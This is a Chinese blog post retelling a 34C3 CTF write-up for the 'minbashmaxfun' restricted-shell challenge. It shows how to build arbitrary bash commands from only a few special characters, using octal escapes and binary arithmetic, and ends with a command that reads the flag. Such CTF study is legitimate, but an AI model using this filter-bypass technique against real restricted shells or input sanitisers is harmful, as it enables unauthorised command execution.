# 34C3 ctf writeup

原创

绿子i 于 2018-01-02 21:40:46 发布 984 收藏

分类专栏： ctf 文章标签： ctf



本文链接：https://blog.csdn.net/qq_27396789/article/details/78956119





又一篇writeup读后感。。什么时候能写自己的writeup。。

## misc

## minbashmaxfun

> Minimal bash - maximal fun!
> nc 35.198.107.77 1337
> Difficulty: medium

nc之后出现长这样的bash提示：`min-bash>:` ，输入一些东西出现：

```
+=============================================================+
|                MINIMAL BASH - MAXIMAL FUN                   |
|                                                             |
|            Who needs regular characters anyway?             |
|                                                             |
|         Supported characters: $ ( ) # ! { } < \ ' ,         |
|                                                             |
|         Supported binaries: i'm sure there is some          |
|                                                             |
|               Iz also open-source: 'source'                 |
|                                                             |
+=============================================================+
```

输入source，出现：


所以意思就是，让我们只用 $ ( ) # ! { } < \ ‘这些字符构造bash语句，然后获得flag。那，首先必须了解这些符号的用法，通过查找，找到一些比较有用的：

- #：除了注释用，在单/双引号包围时，#作为#号字符本身
- ${}：参数替换(Variable substitution)，用于在字符串中表示变量
- $'…'：引用内容展开，执行单引号内的转义内容（单引号原本是原样引用的），这种方式会将引号内的一个或者多个[]转义后的八进制，十六进制值展开到ASCII或Unicode字符。
- $#：表示传递给脚本的参数数量。
- $$：进程ID变量，这个变量保存了运行当前脚本的进程ID值。
- ()：命令组（Command group）。由一组圆括号括起来的命令是命令组，命令组中的命令实在子shell（subshell）中执行。因为是在子shell内运行，因此在括号外面是没有办法获取括号内变量的值，但反过来，命令组内是可以获取到外面的值，这点有点像局部变量和全局变量的关系，在实作中，如果碰到要cd到子目录操作，并在操作完成后要返回到当前目录的时候，可以考虑使用subshell来处理；
- (())：表示整数扩展（integer expansion）。不会返回值。执行后如果变量值发生变化，都会影响到后继代码的运行。可对变量赋值，可以对变量进行一目操作符操作，也可以是二目，三目操作符。
- cmd < file ：使cmd命令从file读入
- cmd << text ：从命令行读取输入，直到一个与text相同的行结束。除非使用引号把输入括起来，此模式将对输入内容进行shell变量替换。如果使用<<- ，则会忽略接下来输入行首的tab，结束行也可以是一堆tab再加上一个与text相同的内容，可以参考後面的例子。
- cmd <<< word ：把word（而不是文件word）和後面的换行作为输入提供给cmd。
  参考：http://blog.useasp.net/archive/2014/06/02/summary-of-the-special-characters-in-shell-on-linux.aspx

尝试一下，此处强调要加建立<<<管道，将我们的命令输入给另一个实例，比如$0

```
${!#}<<<${##}$#${##}\'
```

也就是

```
$0<<<$'\101'
```

101是A的ASCII码值，所以其实是尝试执行命令“A”，果然成功：

```
bash: A: command not found
```

那么下一步就是构造命令并尝试了。
目前为止可以用${##}构造1，一个#g构造0了，但是这些数字显然不能构造所有数字，进而通过ASCII码转化得到所有字母，所以下一步考虑构造二进制，如`$'\154'`：

```
${!#}<<<$((2#${##}$#$#${##}${##}$#${##}$#))
```

其中2#表示二进制，再替换掉2：

```
${!#}<<<$(($(($(${##}<<${##}))#${##}$#$#${##}${##}$#${##}$#))
```

成功！所以这下就可以任意构造语句了，用脚本文件尝试拿flag：

```
./convert.py 'ls -la' | nc 35.198.107.77 1337
```

结果出来一个问题让回答：

```
Please solve this little captcha:
530892629 + 3254451000 + 4211578791 + 2425633949 + 368428465
10790984834 != 0 :(
```

再次使用管道：

```
bash -c 'expr $(grep + /tmp/out)' | /get_flag > /tmp/out; cat /tmp/out
```

得到flag。这个真是要熟悉shell啊，简直了。这个write up的参考，包括convert.py详细代码请移步https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60。